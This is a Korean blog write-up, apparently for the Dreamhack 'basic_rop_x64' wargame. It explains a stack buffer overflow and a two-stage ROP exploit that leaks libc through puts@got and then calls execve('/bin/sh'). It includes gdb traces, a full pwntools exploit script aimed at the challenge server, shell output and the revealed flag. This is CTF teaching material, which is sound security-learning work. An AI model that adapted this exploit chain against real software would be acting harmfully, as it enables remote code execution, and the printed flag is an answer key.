콘텐츠로 건너뛰기

basic_rop_x64

Description

이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x64)의 바이너리와 소스 코드가 주어집니다.
Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.


checksec

seo@seo-virtual-machine:~/Desktop/basic_rop_x64$ checksec --file ./basic_rop_x64
[*] '/home/seo/Desktop/basic_rop_x64/basic_rop_x64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

Decompiled-src

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[64]; // [rsp+10h] [rbp-40h] BYREF
  __int64 savedregs; // [rsp+50h] [rbp+0h] BYREF

  memset(buf, 0, sizeof(buf));
  initialize(&savedregs, argv, buf);
  read(0, buf, 1024uLL);
  write(1, buf, 64uLL);
  return 0;
}

64바이트 할당된 buf에 read함수로 1024바이트만큼 입력받으므로
버퍼 오버플로우가 발생한다.


Solution

ROP 공격기법을 통해
스택 오버플로우와 같은 취약점으로 콜 스택을 통제할 수 있기 때문에
스택 기반 연산을 하는 코드 가젯들을 이용해서

execve("/bin/sh", NULL, NULL) 이 실행되도록 만들면 된다.

64비트 실행 파일에서 함수가 호출될 때 전달되는 인자는 다음과 같다.

따라서 execve 함수 호출시 첫 번째 인자를 설정하기 위해, pop rdi;
2번째 인자를 설정하기 위해 pop rsi
3번째 인자를 설정하기 위해 pop rdx 가젯들이 필요하다.

이러한 가젯들은 pip3로 ROPgadget를 설치해서 획득할 수 있다.

seo@seo-virtual-machine:~$ ROPgadget --binary ~/Desktop/basic_rop_x64/libc.so.6 | grep "pop rdi ; ret"
0x000000000009c2a9 : add byte ptr [rbx + rcx*4 + 0x15], cl ; pop rdi ; retf
0x00000000001bc10b : or al, ch ; pop rdi ; ret 0xffe6
0x000000000002a3e5 : pop rdi ; ret
0x00000000001bc10d : pop rdi ; ret 0xffe6
0x000000000008eef5 : pop rdi ; retf

다시 정리해보자면,

1. 먼저 puts@got 주소를 출력시키게 만들어 libc base 주소를 구한다.

페이로드를 만든다면,
(buf를 채울 64바이트 더미) + (RBP를 채울 8바이트 더미) + (pop rdi; ret 주소) + (puts@got 주소) + (puts@plt 주소) + (main 주소)가 되겠다.

(gdb) stepi
0x0000000000400883 in __libc_csu_init () 
[pop rdi; ret 실행 직전]

(gdb) info reg
rsp            0x7fffffffddd0      0x7fffffffddd0

(gdb) x/4gx $rsp
0x7fffffffddd0:	0x0000000000601018	0x00000000004005c0
0x7fffffffdde0:	0x00000000004007ba	0x00007fffffffded8

(gdb) x/a $rsp
0x7fffffffddd0:	0x601018 <[email protected]>
(gdb) x/a $rsp+8
0x7fffffffddd8:	0x4005c0 <puts@plt>
(gdb) x/a $rsp+16
0x7fffffffdde0:	0x4007ba <main>

그러면 main 함수의 에필로그의 retn 어셈블리가 실행되면서,
pop rdi; ret 주소로 이동하고 실행하게 된다.

(gdb) stepi
0x0000000000400884 in __libc_csu_init ()
[pop rdi; 실행 후, ret 실행 전]

(gdb) info reg
rdi            0x601018            6295576
rsp            0x7fffffffddd8      0x7fffffffddd8

(gdb) x/a $rsp
0x7fffffffddd8:	0x4005c0 <puts@plt>
(gdb) x/a $rdi
0x601018 <[email protected]>:	0x4005c6 <puts@plt+6>

pop rdi; 가 실행되면서
스택에 백업해둔 rdi 값이 puts@got으로 복원되고,
pop을 했으므로 stack pointer는 1 qword 위로 올라가며,
stack pointer는 return address인 puts@plt 주소를 가리킨다.

(gdb) stepi
0x00000000004005c0 in puts@plt ()
[pop rdi; ret; 실행 후]

(gdb) info reg
rdi            0x601018            6295576
rsp            0x7fffffffdde0      0x7fffffffdde0
rip            0x4005c0            0x4005c0 <puts@plt>

(gdb) x/a $rsp
0x7fffffffdde0:	0x4007ba <main>



ret 이 실행되면서
스택에 저장된 return address인 puts@plt 주소로 리턴한다.
return address인 puts@plt 주소는 POP 되어 RIP에 저장되고,
stack pointer는 한번더 1 qword 위로 올라간다.

이렇게 ROP 기법으로 puts(puts@got) 주소를 실행시켜,
puts@got 주소를 획득할 수 있었다.

그리고 위로 올라갔기 때문에 stack pointer는 이제 main 주소를 가리키게 되는데,
puts 함수에서의 ret 어셈블리가 실행되면서 main 함수를 다시 호출할 수 있게 되는 것이다.


2. 다시 한번 ROP 기법으로 execve("/bin/sh", NULL, NULL)을 호출시켜 쉘을 획득한다.

앞서 설명했듯이,
pop rdi, pop rsi, pop rdx 가젯들을 이용해서
execve 함수 호출시 필요한 각각 매개변수를 지정해주면 된다.


solve.py

from pwn import *
#context.log_level = 'debug'
context(arch='amd64',os='linux')
warnings.filterwarnings('ignore')

#p = process("./basic_rop_x64")
p = remote('host3.dreamhack.games', 16404)

e = ELF('./basic_rop_x64')
l = ELF('./libc.so.6')

main_func = e.symbols['main']
pop_rdi_ret = 0x400883

#Stage 1. LEAK puts@got
payload = b""
payload += b"A" * 0x40
payload += b"B" * 0x8

#puts(puts@got address) and call main
payload += p64(pop_rdi_ret)
payload += p64(e.got['puts'])
payload += p64(e.symbols['puts'])
payload += p64(main_func)
p.send(payload)

#receive leaked puts_got
puts = p.recvline()
puts = puts[64:70]
puts += b"\x00\x00"
puts = u64(puts)
libc_base = puts- l.symbols['puts']
print(f"puts: {hex(puts)}")
print(f"libc_base: {hex(libc_base)}")

#Stage 2. execve"/bin/sh", NULL, NULL);
execve = libc_base + l.symbols['execve']
bin_sh = libc_base + 0x1d8698 
pop_rsi_ret = libc_base + 0x2be51
pop_rdx_pop_r12_ret = libc_base + 0x11f497

payload = b""
payload += b"A" * 0x40
payload += b"B" * 0x8
#set rdi
payload += p64(pop_rdi_ret) 
payload += p64(bin_sh) #arg1: /bin/sh
#set rsi
payload += p64(pop_rsi_ret)
payload += p64(0) #arg2: NULL
#set rdx
payload += p64(pop_rdx_pop_r12_ret)
payload += p64(0) #rdx #arg3: NULL
payload += p64(0) #r12

payload += p64(execve)
p.send(payload)

p.interactive()

Result

seo@seo-virtual-machine:~/Desktop/basic_rop_x64$ python3 solve3.py
[+] Opening connection to host3.dreamhack.games on port 16404: Done
[*] '/home/seo/Desktop/basic_rop_x64/basic_rop_x64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
[*] '/home/seo/Desktop/basic_rop_x64/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
puts: 0x7f9b25cf6ed0
libc_base: 0x7f9b25c76000
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ ls
basic_rop_x64
flag
$ cat flag
DH{6311151d71a102eb27195bceb61097c15cd2bcd9fd117fc66293e8c780ae104e}
태그:

답글 남기기